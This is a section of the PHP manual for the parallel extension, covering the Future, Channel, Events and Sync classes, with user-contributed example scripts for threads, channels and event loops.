Example #1 Example showing Future as return value

<?php
$runtime = new \parallel\Runtime;
$future = $runtime->run(function(){
return "World";
});
printf("Hello %s\n", $future->value());
?>

以上示例的输出类似于：

Hello World

The behaviour of a future also allows it to be used as a simple synchronization point even where the task does not return a value explicitly.

Example #2 Example showing Future as synchronization point

<?php
$runtime = new \parallel\Runtime;
$future = $runtime->run(function(){
echo "in child ";
for ($i = 0; $i < 500; $i++) {
if ($i % 10 == 0) {
echo ".";
}
}
echo " leaving child";
});

$future->value();
echo "\nparent continues\n";
?>

以上示例的输出类似于：

in child .................................................. leaving child
parent continues

类摘要

final class parallel\Future {
/* Resolution */
public value(): mixed
/* State */
public cancelled(): bool
public done(): bool
/* Cancellation */
public cancel(): bool
}

Table of Contents

  • parallel\Future::cancel — Cancellation
  • parallel\Future::cancelled — State Detection
  • parallel\Future::done — State Detection
  • parallel\Future::value — Resolution

User Contributed Notes

Thierry Kauffmann 12-Nov-2021 02:37
<?php

/**
 * Sample parallel Runtime/Future processing
 * using a generator to produce the list of items to process
 *
 * Items to process in parallel come from a generator
 * It could be anything : e.g fetch a mysql array, a DirectoryIterator...
 * Thus the number of items to process in parallel is NOT known in advance
 *
 * This algorithm attributes items to each parallel thread dynamically
 * As soon as a thread has finished working
 * It is assigned a new item to process
 * until all items are processed (generator closes)
 *
 * In this example we process 50 items in 5 parallel threads
 * It produces output in this form (output changes at each run) :
 *
 * ThreadId: 1 => Item: 1 (Start)
 * ThreadId: 2 => Item: 2 (Start)
 * ThreadId: 3 => Item: 3 (Start)
 * ThreadId: 4 => Item: 4 (Start)
 * ThreadId: 5 => Item: 5 (Start)
 * ThreadId: 5 => Item: 5 Sleep: 3s (End)
 * ThreadId: 5 => Item: 6 (Start)
 * ThreadId: 3 => Item: 3 Sleep: 4s (End)
 * ThreadId: 3 => Item: 7 (Start)
 * ThreadId: 2 => Item: 2 Sleep: 6s (End)
 * ThreadId: 2 => Item: 8 (Start)
 * ...
 * ThreadId: 4 => Item: 44 Sleep: 6s (End)
 * ThreadId: 4 => Item: 49 (Start)
 * ThreadId: 3 => Item: 46 Sleep: 5s (End)
 * ThreadId: 3 => Item: 50 (Start)
 * ThreadId: 2 => Item: 43 Sleep: 9s (End)
 * Destroy ThreadId: 2
 * ThreadId: 1 => Item: 47 Sleep: 5s (End)
 * Destroy ThreadId: 1
 * ThreadId: 4 => Item: 49 Sleep: 7s (End)
 * Destroy ThreadId: 4
 * ThreadId: 5 => Item: 48 Sleep: 10s (End)
 * Destroy ThreadId: 5
 * ThreadId: 3 => Item: 50 Sleep: 10s (End)
 * Destroy ThreadId: 3
 */

// Generate list of items to process with a generator
function generator(int $item_count) {
    echo "Item count: $item_count\n";
    for ($i=1; $i <= $item_count; $i++) {
        yield $i;
    }
}

function testConcurrency(int $concurrency, int $max_item_count) {

    // Set item_count to a random number so that each run is different
    $item_count= rand(1, $max_item_count);
    // Create generator
    $generator = generator($item_count);

    // Function executing in each thread. Have a snap for a random time for example !
    // You could make some calculation here or transfer files or whatever...
    $producer = function (int $item_id) {
        $seconds = rand(1, 10);
        sleep($seconds);
        return ['item_id' => $item_id, 'sleep_seconds' => $seconds];
    };

    // Fill up threads with a single future initialized to 'false' value
    for ($thread_id = 1; $thread_id <= $concurrency; $thread_id++) {
        $threads[$thread_id] = ['runtime' => new \parallel\Runtime(), 'future' => false];
    }

    // Create infinite loop for the whole processing
    while (true) {
        // Loop through threads until generator closes and all threads are destroyed
        foreach ($threads as $thread_id => &$thread) {
            if ($thread['future'] === false and $generator->valid()) {
                // Thread is inactive and generator still has values : run something in the thread
                $item_id = $generator->current();
                $thread['future'] = $thread['runtime']->run($producer, [$item_id]);
                echo "ThreadId: $thread_id => Item: $item_id (Start)\n";
                $generator->next();
            } elseif ($thread['future'] === false) {
                // Destroy thread in case generator is closed
                echo "Destroy ThreadId: $thread_id\n";
                unset($threads[$thread_id]);
            } elseif ($thread['future']->done()) {
                // Thread finished working. Get result value.
                $item = $thread['future']->value();
                echo "ThreadId: $thread_id => Item: {$item['item_id']} Sleep: {$item['sleep_seconds']}s (End)\n";
                // Thread is ready to run again
                $thread['future'] = false;
            }
        }

        // Escape infinite loop when all threads are destroyed
        if (empty($threads)) break;
    }
}

$concurrency = 5;
$item_count = 50;

testConcurrency($concurrency, $item_count);

?>


Cancellation

  • ? parallel\Future
  • parallel\Future::cancelled ?
  • PHP Manual
  • parallel\Future
  • Cancellation

parallel\Future::cancel

(0.9.0)

parallel\Future::cancel — Cancellation

说明

public parallel\Future::cancel(): bool

Shall try to cancel the task

Note:

If task is running, it will be interrupted.

Warning

Internal function calls in progress cannot be interrupted.

Exceptions

Warning

Shall throw parallel\Future\Error\Killed if parallel\Runtime executing task was killed.

Warning

Shall throw parallel\Future\Error\Cancelled if task was already cancelled.

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ? parallel\Future::cancel
  • parallel\Future::done ?
  • PHP Manual
  • parallel\Future
  • State Detection

parallel\Future::cancelled

(0.9.0)

parallel\Future::cancelled — State Detection

说明

public parallel\Future::cancelled(): bool

Shall indicate if the task was cancelled

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ? parallel\Future::cancelled
  • parallel\Future::value ?
  • PHP Manual
  • parallel\Future
  • State Detection

parallel\Future::done

(0.8.0)

parallel\Future::done — State Detection

说明

public parallel\Future::done(): bool

Shall indicate if the task is completed

User Contributed Notes

There are no user contributed notes for this page.


Resolution

  • ? parallel\Future::done
  • parallel\Channel ?
  • PHP Manual
  • parallel\Future
  • Resolution

parallel\Future::value

(0.8.0)

parallel\Future::value — Resolution

说明

public parallel\Future::value(): mixed

Shall return (and if necessary wait for) return from task

Exceptions

Warning

Shall throw parallel\Future\Error if waiting failed (internal error).

Warning

Shall throw parallel\Future\Error\Killed if parallel\Runtime executing task was killed.

Warning

Shall throw parallel\Future\Error\Cancelled if task was cancelled.

Warning

Shall throw parallel\Future\Error\Foreign if task raised an unrecognized uncaught exception.

Warning

Shall rethrow Throwable uncaught in task

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Channel class

(0.9.0)

Unbuffered Channels

An unbuffered channel will block on calls to parallel\Channel::send() until there is a receiver, and block on calls to parallel\Channel::recv() until there is a sender. This means an unbuffered channel is not only a way to share data among tasks but also a simple method of synchronization.

An unbuffered channel is the fastest way to share data among tasks, requiring the least copying.

Buffered Channels

A buffered channel will not block on calls to parallel\Channel::send() until capacity is reached, calls to parallel\Channel::recv() will block until there is data in the buffer.

Closures over Channels

A powerful feature of parallel channels is that they allow the exchange of closures between tasks (and runtimes).

When a closure is sent over a channel the closure is buffered, it doesn't change the buffering of the channel transmitting the closure, but it does effect the static scope inside the closure: The same closure sent to different runtimes, or the same runtime, will not share their static scope.

This means that whenever a closure is executed that was transmitted by a channel, static state will be as it was when the closure was buffered.

Anonymous Channels

The anonymous channel constructor allows the programmer to avoid assigning names to every channel: parallel will generate a unique name for anonymous channels.

类摘要

final class parallel\Channel {
/* Anonymous Constructor */
public __construct()
public __construct(int $capacity)
/* Access */
public make(string $name): Channel
public make(string $name, int $capacity): Channel
public open(string $name): Channel
/* Sharing */
public recv(): mixed
public send(mixed $value): void
/* Closing */
public close(): void
/* Constant for Infinitely Buffered */
const Infinite;
}

Table of Contents

  • parallel\Channel::__construct — Channel Construction
  • parallel\Channel::make — Access
  • parallel\Channel::open — Access
  • parallel\Channel::recv — Sharing
  • parallel\Channel::send — Sharing
  • parallel\Channel::close — Closing

User Contributed Notes

gam6itko 10-Sep-2021 01:59
<?php

// the very weird way to calculate factorial ^_^
// we create one thread and synching them with buffered channel
// at fact only one thread is executing at the time

use parallel\{Channel, Future, Runtime};

for ($n = 0; $n <= 10; $n++) {
    echo "!$n = " . factorial($n) . PHP_EOL;
}

/**
 * Creates $n threads.
 */
function factorial(int $n): int
{
    // buffered channel - using for sync threads ^_^
    $channel = new Channel(1);
    $futureList = [];
    for ($i = 2; $i <= $n; $i++) {
        $runtime = new Runtime();
        $futureList[] = $runtime->run(
            static function (Channel $channel, $multiplier): void {
                $f = $channel->recv();
                $channel->send($f * $multiplier);
            },
            [$channel, $i]
        );
    }

    $channel->send(1);

    // waiting until all threads are done
    do {
        $allDone = array_reduce(
            $futureList,
            function (bool $c, Future $future): bool {

                return $c && $future->done();
            },
            true
        );
    } while (false === $allDone);

    return $channel->recv();
}

// output:
// !0 = 1
// !1 = 1
// !2 = 2
// !3 = 6
// !4 = 24
// !5 = 120
// !6 = 720
// !7 = 5040
// !8 = 40320
// !9 = 362880
// !10 = 3628800
hdvianna 16-Jan-2020 06:00
This is an example of using a channel to produce data for consumers. In this example, the producer Runtime instance will send the time in seconds in which the consumers shall sleep.

<?php

use parallel\{Runtime, Channel};

main($argv);

function main(array $argv)
{
    if (count($argv) !== 3) {
        echo "Type: hello-parallel.php <number-of-tasks> <maximum-time-of-sleep (in seconds)>" . PHP_EOL;
        echo "Example: hello-parallel.php 5 3" . PHP_EOL;
        die;
    } else {
        $numberOfTasks = intval($argv[1]);
        $maximumTimeOfSleep = intval($argv[2]);
        $t1 = microtime(true);
        parallelize($numberOfTasks, $maximumTimeOfSleep);
        $endTime = microtime(true) - $t1;
        echo PHP_EOL."Finished $numberOfTasks task(s) in {$endTime}s".PHP_EOL;
    }
}

function parallelize(int $numberOfTasks, int $maximumTimeOfSleep)
{
    $channel = new Channel();

    $taskIds = array_map(function () use ($maximumTimeOfSleep) {
        return $id = uniqid("task::");
    }, range(0, $numberOfTasks - 1));

    $timesToSleep = array_map(function () use ($maximumTimeOfSleep) {
        return rand(1, $maximumTimeOfSleep);
    }, $taskIds);

    $producer = new Runtime();
    $producerFuture = $producer->run(function (Channel $channel, array $timesToSleep) {
        foreach ($timesToSleep as $timeToSleep) {
            $channel->send($timeToSleep);
        }
    }, [$channel, $timesToSleep]);

    $consumerFutures = array_map(function (string $id) use ($channel) {
        $runtime = new Runtime();
        return $runtime->run(function (string $id, Channel $channel) {
            $timeToSleep = $channel->recv();
            echo "Hello from $id. I will sleep for $timeToSleep second(s).".PHP_EOL;
            sleep($timeToSleep);
            echo "$id slept for $timeToSleep second(s).".PHP_EOL;
            return $timeToSleep;
        }, [$id, $channel]);
    }, $taskIds);

    wait($consumerFutures);
    wait([$producerFuture]);
}

function wait(array $futures)
{
    return array_map(function ($future) {
        return $future->value();
    }, $futures);
}
rustysun 18-Sep-2019 10:28
an example used unbuffered channel.
<?php

use parallel\{Channel,Runtime};

$sum=function(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
};
try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    //unbuffered channel
    $runtime=new Runtime;
    $ch2=new Channel;
    $runtime->run($sum, [array_slice($a, 0, $num), $ch2]);
    $runtime->run($sum, [array_slice($a, $num), $ch2]);
    //receive from channel
    $x=$ch2->recv();
    $y=$ch2->recv();
    $ch2->close();
    echo "\nch2:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}

//output
//ch2:18  23      41
rustysun 18-Sep-2019 04:08
<?php
use parallel\Channel;

function sum(array $a, Channel $ch) {
    $sum=0;
    foreach ($a as $v) {
        $sum+=$v;
    }
    $ch->send($sum);
}

try {
    $a=[7, 2, 8, 1, 4, 0, 9, 10];
    $ch1=Channel::make('sum', 2);
    $ch2=new Channel;
    $num=count($a) / 2;
    sum(array_slice($a, 0, $num), $ch1);
    sum(array_slice($a, $num), $ch1);

    //receive from channel
    $x=$ch1->recv();
    $y=$ch1->recv();
    $ch1->close();
    echo "\nch1:", $x, "\t", $y, "\t", $x + $y, "\n";
} catch(Error $err) {
    echo "\nError:", $err->getMessage();
} catch(Exception $e) {
    echo "\nException:", $e->getMessage();
}


Channel Construction

  • ? parallel\Channel
  • parallel\Channel::make ?
  • PHP Manual
  • parallel\Channel
  • Channel Construction

parallel\Channel::__construct

(1.1.0)

parallel\Channel::__construct — Channel Construction

说明

public parallel\Channel::__construct()

Shall make an anonymous unbuffered channel

public parallel\Channel::__construct(int $capacity)

Shall make an anonymous buffered channel with the given capacity

参数

capacity

May be Channel::Infinite or a positive integer

User Contributed Notes

abolfazl dot ziaratban at gmail dot com 22-Apr-2021 12:26
$capacity is count of stack in buffer.

for example :

<?php
use parallel\{Channel,Runtime};

$test = function($ch){
    var_dump($ch->Recv());
    var_dump($ch->Recv());
    var_dump($ch->Recv());
    echo 'Sleep'.PHP_EOL;
    sleep(3);
    echo 'Call Recv()'.PHP_EOL;
    var_dump($ch->Recv());
};

$t1 = new Runtime();
$ch = new Channel(3); //buffered channel
$ch->Send('abc1');
$ch->Send('abc2');
$ch->Send('abc3');
$t1->Run($test,[$ch]);
sleep(1);
echo 'Wait for Recv()...'.PHP_EOL;
$ch->Send('abc4'); #php waits for only one stack of channel to be empty(by Recv() method)
?>

result:
string(4) "abc1"
string(4) "abc2"
string(4) "abc3"
Sleep
Wait for Recv()...
Call Recv()
string(4) "abc4"
frame86 at live dot com 28-Apr-2020 11:43
Please note $capacity unit is 1 MiB each, not bytes


Access

  • ? parallel\Channel::__construct
  • parallel\Channel::open ?
  • PHP Manual
  • parallel\Channel
  • Access

parallel\Channel::make

(0.9.0)

parallel\Channel::make — Access

说明

public parallel\Channel::make(string $name): Channel

Shall make an unbuffered channel with the given name

public parallel\Channel::make(string $name, int $capacity): Channel

Shall make a buffered channel with the given name and capacity

参数

name

The name of the channel.

capacity

May be Channel::Infinite or a positive integer

Exceptions

Warning

Shall throw parallel\Channel\Error\Existence if channel already exists.

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ? parallel\Channel::make
  • parallel\Channel::recv ?
  • PHP Manual
  • parallel\Channel
  • Access

parallel\Channel::open

(0.9.0)

parallel\Channel::open — Access

说明

public parallel\Channel::open(string $name): Channel

Shall open the channel with the given name

Exceptions

Warning

Shall throw parallel\Channel\Error\Existence if channel does not exist.

User Contributed Notes

gam6itko 25-Sep-2021 09:58
<?php

// example below shows how to get channel by name within child thread with Channel::open()

use parallel\{Channel, Runtime};

$fnThread = static function () {
    $channel = Channel::open('channel_name');
    $message = $channel->recv();
    echo "- received message: $message\n";

    return 'bye';
};

$channel = Channel::make('channel_name', 1);

// main thread
$runtime = new Runtime();
$future = $runtime->run($fnThread, [$channel]);

echo "sending message\n";
$channel->send('hello future!');
sleep(1);
echo "closing channel\n";
$channel->close();

echo "future said: ".$future->value();
echo PHP_EOL;


Sharing

  • ? parallel\Channel::open
  • parallel\Channel::send ?
  • PHP Manual
  • parallel\Channel
  • Sharing

parallel\Channel::recv

(0.9.0)

parallel\Channel::recv — Sharing

说明

public parallel\Channel::recv(): mixed

Shall recv a value from this channel

Exceptions

Warning

Shall throw parallel\Channel\Error\Closed if channel is closed.

User Contributed Notes

There are no user contributed notes for this page.


Sharing

  • ? parallel\Channel::recv
  • parallel\Channel::close ?
  • PHP Manual
  • parallel\Channel
  • Sharing

parallel\Channel::send

(0.9.0)

parallel\Channel::send — Sharing

说明

public parallel\Channel::send(mixed $value): void

Shall send the given value on this channel

Exceptions

Warning

Shall throw parallel\Channel\Error\Closed if channel is closed.

Warning

Shall throw parallel\Channel\Error\IllegalValue if value is illegal.

User Contributed Notes

There are no user contributed notes for this page.


Closing

  • ? parallel\Channel::send
  • parallel\Events ?
  • PHP Manual
  • parallel\Channel
  • Closing

parallel\Channel::close

(0.9.0)

parallel\Channel::close — Closing

说明

public parallel\Channel::close(): void

Shall close this channel

Exceptions

Warning

Shall throw parallel\Channel\Error\Closed if channel is closed.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events class

(0.9.0)

The Event Loop

The Event loop monitors the state of sets of futures and or channels (targets) in order to perform read (parallel\Future::value(), parallel\Channel::recv()) and write (parallel\Channel::send()) operations as the targets become available and the operations may be performed without blocking the event loop.

类摘要

final class parallel\Events implements Countable, Traversable {
/* Input */
public setInput(Input $input): void
/* Targets */
public addChannel(parallel\Channel $channel): void
public addFuture(string $name, parallel\Future $future): void
public remove(string $target): void
/* Behaviour */
public setBlocking(bool $blocking): void
public setTimeout(int $timeout): void
/* Polling */
public poll(): ?parallel\Events\Event
}

Table of Contents

  • parallel\Events::setBlocking — Behaviour
  • parallel\Events::setTimeout — Behaviour
  • parallel\Events::setInput — Input
  • parallel\Events::addChannel — Targets
  • parallel\Events::addFuture — Targets
  • parallel\Events::remove — Targets
  • parallel\Events::poll — Polling

User Contributed Notes

gam6itko 25-Sep-2021 07:24
<?php

// example below shows how to stop child thread from main thread

use parallel\{Channel, Events, Events\Event\Type, Runtime};

$fnThread = static function (Channel $channel) {
    $events = new Events();
    $events->addChannel($channel);
    $events->setBlocking(false); // don't block on Events::poll()

    while (true) {
        if ($event = $events->poll()) {
            //It seems, the target gets deleted after returning an event, so add it again.
            $events->addChannel($channel);

            if (Type::Read === $event->type) {
                echo "- received value: ".$event->value.PHP_EOL;
            } elseif (Type::Close === $event->type) {
                echo "- receiving close event".PHP_EOL;
                return "i'm done";
            }

        }
        echo "-\n";
        usleep(500_000);
    }
};

// main thread
$runtime = new Runtime();
$channel = new Channel();
$future = $runtime->run($fnThread, [$channel]);

$channel->send('message1');
sleep(2);
$channel->send('message2');
sleep(2);

echo "closing channel\n";
$channel->close();
echo "future said: ".$future->value();
echo PHP_EOL;
gam6itko 11-Sep-2021 03:28
<?php

// this example shows how Events handle Future events

use parallel\{Events, Events\Event, Runtime};

$events = new Events();

$runtime = new Runtime();

//Read (type: 1)
$future = $runtime->run(
    static function (string $name) {
        return "Future#$name result";
    },
    ['Read']
);
$events->addFuture("Future#Read", $future);

//Cancel  (type: 4)
$future = $runtime->run(
    static function (string $name) {
        throw new \Exception("Exception#$name");
    },
    ['Cancel']
);
$events->addFuture("Future#Cancel", $future);

//Kill  (type: 5)
$future = $runtime->run(
    static function () {
        sleep(100000);
    },
    []
);
$events->addFuture("Future#Kill", $future);
$future->cancel(); //kill it

//Error  (type: 6)
$future = $runtime->run(
    static function () {
        $memoryEater = [];
        $i = 0;
        while (++$i) {
            $memoryEater[] = $i;
        }
    }
);
$events->addFuture("Future#Error", $future);

// reading events

/** @var Event $event */
foreach ($events as $i => $event) {
    echo str_pad('', 50, '=') . " EVENT_$i\n";
    var_dump($event);
    echo "\n";
}
s dot laufer at homegear dot email 22-Dec-2019 03:02
<?php
/**
Example showing the usage of events.

The documentation still is very thin, so I'm not sure, the example is the best solution. But it works.
*/
use parallel\{Channel,Runtime,Events,Events\Event};

$myThread = function(Channel $channel) {
    $events = new Events();
    $events->addChannel($channel);
    //$events->setBlocking(false); //Uncomment to don't block on Events::poll()
    $events->setTimeout(1000000); //Comment when not blocking

    while(true)
    {
        /*
        ...
        Your code.
        ...
        */

        //Read all available events
        try
        {
            $event = NULL;
            do
            {
                $event = $events->poll(); //Returns non-null if there is an event
                if($event && $event->source == 'myChannel')
                {
                    //It seems, the target gets deleted after returning an event,
                    //so add it again.
                    $events->addChannel($channel);
                    if($event->type == Event\Type::Read)
                    {
                        if(is_array($event->value) && count($event->value) > 0)
                        {
                            if($event->value['name'] == 'stop')
                            {
                                echo 'Stopping thread';
                                return; //Stop
                            }
                            else
                            {
                                echo 'Event: '.$event->value['name'].' => '.$event->value['value'].PHP_EOL;
                            }
                        }
                    }
                    else if($event->type == Event\Type::Close) return; //Stop
                }
            }
            while($event);
        }
        catch(Events\Error\Timeout $ex)
        {
            //Timeout
            echo 'Timeout'.PHP_EOL;
        }
    }
};

class MyClass {
    private $runtime;
    private $future;
    private $channel;

    public function start() {
        //Create runtime
        $this->runtime = new Runtime();

        //Create buffered channel.
        //Buffered channels don't block on Channel::send().
        //Note that target names need to be unique within the process.
        $this->channel = Channel::make('myChannel', Channel::Infinite);

        global $myThread;
        $this->future = $this->runtime->run($myThread, [$this->channel]);
    }

    public function stop() {
        $this->channel->send(['name' => 'stop', 'value' => true]);

        $this->future->value(); //Wait for thread to finish
        $this->channel->close();
    }

    public function emit(string $name, $value)
    {
        $this->channel->send(['name' => $name, 'value' => $value]);
    }
}

$a = new MyClass();
$a->start();

for($i = 0; $i < 5; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

sleep(2);

for($i = 5; $i < 10; $i++)
{
    $a->emit('test', $i);
    sleep(0.5);
}

$a->stop();
?>


Behaviour

  • ? parallel\Events
  • parallel\Events::setTimeout ?
  • PHP Manual
  • parallel\Events
  • Behaviour

parallel\Events::setBlocking

(0.9.0)

parallel\Events::setBlocking — Behaviour

说明

By default when events are polled for, blocking will occur (at the PHP level) until the first event can be returned: Setting blocking mode to false will cause poll to return control if the first target polled is not ready.

This differs from setting a timeout of 0 with parallel\Events::setTimeout(), since a timeout of 0, while allowed, will cause an exception to be raised, which may be extremely slow or wasteful if what is really desired is non-blocking behaviour.

A non-blocking loop effects the return value of parallel\Events::poll(), such that it may be null before all events have been processed.

public parallel\Events::setBlocking(bool $blocking): void

Shall set blocking mode

Exceptions

Warning

Shall throw parallel\Events\Error if loop has timeout set.

User Contributed Notes

There are no user contributed notes for this page.


Behaviour

  • ? parallel\Events::setBlocking
  • parallel\Events::setInput ?
  • PHP Manual
  • parallel\Events
  • Behaviour

parallel\Events::setTimeout

(0.9.0)

parallel\Events::setTimeout — Behaviour

说明

By default when events are polled for, blocking will occur (at the PHP level) until the first event can be returned: Setting the timeout causes an exception to be thrown when the timeout is reached.

This differs from setting blocking mode to false with parallel\Events::setBlocking(), which will not cause an exception to be thrown.

public parallel\Events::setTimeout(int $timeout): void

Shall set the timeout in microseconds

Exceptions

Warning

Shall throw parallel\Events\Error if loop is non-blocking.

User Contributed Notes

php at sallyx dot org 12-Sep-2022 08:25
You can call <?php $events->setTimeount(-1); ?> to cancel timeout.


Input

  • ? parallel\Events::setTimeout
  • parallel\Events::addChannel ?
  • PHP Manual
  • parallel\Events
  • Input

parallel\Events::setInput

(0.9.0)

parallel\Events::setInput — Input

说明

public parallel\Events::setInput(Input $input): void

Shall set input for this event loop

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ? parallel\Events::setInput
  • parallel\Events::addFuture ?
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::addChannel

(0.9.0)

parallel\Events::addChannel — Targets

说明

public parallel\Events::addChannel(parallel\Channel $channel): void

Shall watch for events on the given channel

Exceptions

Warning

Shall throw parallel\Events\Error\Existence if channel was already added.

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ? parallel\Events::addChannel
  • parallel\Events::remove ?
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::addFuture

(0.9.0)

parallel\Events::addFuture — Targets

说明

public parallel\Events::addFuture(string $name, parallel\Future $future): void

Shall watch for events on the given future

Exceptions

Warning

Shall throw parallel\Events\Error\Existence if target with the given name was already added.

User Contributed Notes

There are no user contributed notes for this page.


Targets

  • ? parallel\Events::addFuture
  • parallel\Events::poll ?
  • PHP Manual
  • parallel\Events
  • Targets

parallel\Events::remove

(0.9.0)

parallel\Events::remove — Targets

说明

public parallel\Events::remove(string $target): void

Shall remove the given target

Exceptions

Warning

Shall throw parallel\Events\Error\Existence if target with the given name was not found.

User Contributed Notes

There are no user contributed notes for this page.


Polling

  • ? parallel\Events::remove
  • parallel\Events\Input ?
  • PHP Manual
  • parallel\Events
  • Polling

parallel\Events::poll

(0.9.0)

parallel\Events::poll — Polling

说明

public parallel\Events::poll(): ?parallel\Events\Event

Shall poll for the next event

返回值

Should there be no targets remaining, null shall be returned

Should this be a non-blocking loop, and blocking would occur, null shall be returned

Otherwise, the parallel\Events\Event returned describes the event.

Exceptions

Warning

Shall throw parallel\Events\Error\Timeout if timeout is used and reached.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Input class

(0.9.0)

Events Input

An Input object is a container for data that the parallel\Events object will write to parallel\Channel objects as they become available. Multiple event loops may share an Input container - parallel does not verify the contents of the container when it is set as the input for a parallel\Events object.

Note:

When a parallel\Events object performs a write, the target is removed from the input object as if parallel\Events\Input::remove() were called.

类摘要

final class parallel\Events\Input {
public add(string $target, mixed $value): void
public remove(string $target): void
public clear(): void
}

Table of Contents

  • parallel\Events\Input::add — Inputs
  • parallel\Events\Input::clear — Inputs
  • parallel\Events\Input::remove — Inputs

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ? parallel\Events\Input
  • parallel\Events\Input::clear ?
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::add

(0.9.0)

parallel\Events\Input::add — Inputs

说明

public parallel\Events\Input::add(string $target, mixed $value): void

Shall set input for the given target

Exceptions

Warning

Shall throw parallel\Events\Input\Error\Existence if input for target already exists.

Warning

Shall throw parallel\Events\Input\Error\IllegalValue if value is illegal (object, null).

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ? parallel\Events\Input::add
  • parallel\Events\Input::remove ?
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::clear

(0.9.0)

parallel\Events\Input::clear — Inputs

说明

public parallel\Events\Input::clear(): void

Shall remove input for all targets

User Contributed Notes

There are no user contributed notes for this page.


Inputs

  • ? parallel\Events\Input::clear
  • parallel\Events\Event ?
  • PHP Manual
  • parallel\Events\Input
  • Inputs

parallel\Events\Input::remove

(0.9.0)

parallel\Events\Input::remove — Inputs

说明

public parallel\Events\Input::remove(string $target): void

Shall remove input for the given target

Exceptions

Warning

Shall throw parallel\Events\Input\Error\Existence if input for target does not exist.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Event class

(0.9.0)

Event Objects

When an Event is returned, Event::$object shall be removed from the loop that returned it, should the event be a write event the Input for Event::$source shall also be removed.

类摘要

final class parallel\Events\Event {
/* Shall be one of Event\Type constants */
public int $type;
/* Shall be the source of the event (target name) */
public string $source;
/* Shall be either Future or Channel */
public object $object;
/* Shall be set for Read/Error events */
public $value;
}

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Events\Event\Type class

(0.9.0)

类摘要

final class parallel\Events\Event\Type {
/* Event::$object was read into Event::$value */
const Read;
/* Input for Event::$source written to Event::$object */
const Write;
/* Event::$object (Channel) was closed */
const Close;
/* Event::$object (Future) was cancelled */
const Cancel;
/* Runtime executing Event::$object (Future) was killed */
const Kill;
/* Event::$object (Future) raised error */
const Error;
}

User Contributed Notes

abolfazl dot ziaratban at gmail dot com 15-Jul-2021 10:05
array(6) {
  ["Read"]=>
  int(1)
  ["Write"]=>
  int(2)
  ["Close"]=>
  int(3)
  ["Cancel"]=>
  int(5)
  ["Kill"]=>
  int(6)
  ["Error"]=>
  int(4)
}


The parallel\Sync class

(1.1.0)

Low Level Synchronization

The parallel\Sync class provides access to low level synchronization primitives, mutex, condition variables, and allows the implementation of semaphores.

Synchronization for most applications is much better implemented using channels, however, in some cases authors of low level code may find it useful to be able to access these lower level mechanisms.

类摘要

final class parallel\Sync {
/* Constructor */
public __construct()
public __construct(scalar $value)
/* Access */
public get(): scalar
public set(scalar $value)
/* Synchronization */
public wait()
public notify(bool $all = ?)
public __invoke(callable $critical)
}

Table of Contents

  • parallel\Sync::__construct — Construction
  • parallel\Sync::get — Access
  • parallel\Sync::set — Access
  • parallel\Sync::wait — Synchronization
  • parallel\Sync::notify — Synchronization
  • parallel\Sync::__invoke — Synchronization

User Contributed Notes

There are no user contributed notes for this page.


Construction

  • ? parallel\Sync
  • parallel\Sync::get ?
  • PHP Manual
  • parallel\Sync
  • Construction

parallel\Sync::__construct

(1.1.0)

parallel\Sync::__construct — Construction

说明

public parallel\Sync::__construct()

Shall construct a new synchronization object with no value

public parallel\Sync::__construct(scalar $value)

Shall construct a new synchronization object containing the given scalar value

Exceptions

Warning

Shall throw parallel\Sync\Error\IllegalValue if value is non-scalar.

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ? parallel\Sync::__construct
  • parallel\Sync::set ?
  • PHP Manual
  • parallel\Sync
  • Access

parallel\Sync::get

(1.1.0)

parallel\Sync::get — Access

说明

public parallel\Sync::get(): scalar

Shall atomically return the synchronization objects value

User Contributed Notes

There are no user contributed notes for this page.


Access

  • ? parallel\Sync::get
  • parallel\Sync::wait ?
  • PHP Manual
  • parallel\Sync
  • Access

parallel\Sync::set

(1.1.0)

parallel\Sync::set — Access

说明

public parallel\Sync::set(scalar $value)

Shall atomically set the value of the synchronization object

Exceptions

Warning

Shall throw parallel\Sync\Error\IllegalValue if value is non-scalar.

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ? parallel\Sync::set
  • parallel\Sync::notify ?
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::wait

(1.1.0)

parallel\Sync::wait — Synchronization

说明

public parallel\Sync::wait()

Shall wait for notification on this synchronization object

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ? parallel\Sync::wait
  • parallel\Sync::__invoke ?
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::notify

(1.1.0)

parallel\Sync::notify — Synchronization

说明

public parallel\Sync::notify(bool $all = ?)

Shall notify one (by default) or all threads waiting on the synchronization object

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ? parallel\Sync::notify
  • pthreads ?
  • PHP Manual
  • parallel\Sync
  • Synchronization

parallel\Sync::__invoke

(1.1.0)

parallel\Sync::__invoke — Synchronization

说明

public parallel\Sync::__invoke(callable $critical)

Shall exclusively enter into the critical code

User Contributed Notes

There are no user contributed notes for this page.


pthreads

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • 预定义常量
  • Threaded — Threaded 类
    • Threaded::chunk — 操作
    • Threaded::count — 操作
    • Threaded::extend — Runtime Manipulation
    • Threaded::isRunning — 状态检测
    • Threaded::isTerminated — 状态检测
    • Threaded::merge — 操作
